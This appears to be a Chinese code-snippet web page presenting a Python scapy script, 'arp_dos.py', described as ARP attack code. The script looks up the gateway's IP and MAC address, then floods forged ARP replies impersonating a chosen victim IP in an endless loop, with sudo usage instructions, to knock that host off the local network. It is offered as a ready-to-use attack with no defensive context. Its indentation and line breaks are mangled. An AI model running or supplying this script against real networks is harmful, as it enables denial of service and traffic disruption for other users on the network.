python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103from scapy.all import ARP,send
import os,re,sysdef get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1]def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2]
def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp)def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100")def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()
您可能感兴趣的文章:
- python写的ARP攻击代码实例
- python模块之paramiko实例代码
- Python连接MySQL的实例代码
- Python爬虫爬取一个网页上的图片地址实例代码
- 线程和进程的区别及Python代码实例
- python输出100以内的质数与合数实例代码
- Python 流程控制实例代码
- python实现的udp协议Server和Client代码实例
- python发送邮件的实例代码(支持html、图片、附件)
- Python 爬虫多线程详解及实例代码
- Python使用list的append和pop方法创建堆栈和队列实例代码
- python实现时间o(1)的最小栈的实例代码
- python技能之数据导出excel的实例代码
- Selenium_python实例代码(3)
- Python3简单实例计算同花的概率代码
- Python 输出json到文件,让json.dumps输出中文 实例代码
- Python操作Mysql实例代码教程在线版(查询手册)
- 以写代学:python 良好的代码风格实例解析
- 将Python代码嵌入C++程序进行编写的实例
- SVM入门实例可运行python代码完整版(简单可视化)